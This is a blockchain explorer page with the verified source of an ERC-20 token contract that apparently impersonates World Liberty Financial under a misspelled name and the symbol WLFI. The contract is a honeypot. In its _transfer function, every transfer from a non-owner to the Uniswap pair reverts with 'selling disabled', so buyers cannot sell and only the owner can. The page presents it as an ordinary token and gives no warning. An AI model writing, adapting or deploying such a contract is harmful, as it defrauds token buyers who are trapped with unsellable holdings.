Skip to content
Verified contractPartialMIT

World_Libery_Financial

Address0x339ff26f8ec8c949e1385668fbe434c191ce4e07
Balance

0 ETH

 

Transactions

9

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
22,943,167
Creation transaction
0x1a12bc33c9…ce1a92feb6

World_Libery_Financial.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract World_Libery_Financial {
    string  public constant name     = "0xdA5e1988097297dCdc1f90D4dFE7909e847CBeF6";
    string  public constant symbol   = "WLFI";
    uint8   public constant decimals = 18;

    uint256 public totalSupply;
    address public owner;
    address public uniswapPair;
    bool    public tradingEnabled;

    mapping(address => uint256)                     public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from,  address indexed to,    uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event TradingEnabled(address indexed pair);
    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);

    modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; }

    constructor() {
        owner = msg.sender;
        uint256 supply = 100_000_000_000 * 10 ** uint256(decimals);  // 100 billion WLFI
        totalSupply = supply;
        balanceOf[owner] = supply;
        emit Transfer(address(0), owner, supply);
    }

    /* ---------- admin ---------- */

    function setUniswapPair(address _pair) external onlyOwner {
        require(_pair != address(0), "zero address");
        uniswapPair    = _pair;
        tradingEnabled = true;
        emit TradingEnabled(_pair);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    /* ---------- ERC‑20 core ---------- */

    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 curAllowance = allowance[from][msg.sender];
        require(curAllowance >= value, "allowance");
        if (curAllowance != type(uint256).max) {
            allowance[from][msg.sender] = curAllowance - value;
            emit Approval(from, msg.sender, allowance[from][msg.sender]);
        }
        _transfer(from, to, value);
        return true;
    }

    /* ---------- internals ---------- */

    function _transfer(address from, address to, uint256 value) internal {
        require(to != address(0), "zero address");
        require(balanceOf[from] >= value, "balance");
        if (!tradingEnabled && from != owner) revert("trading off");
        if (to == uniswapPair && from != owner)  revert("selling disabled");

        unchecked {
            balanceOf[from] -= value;
            balanceOf[to]   += value;
        }
        emit Transfer(from, to, value);
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.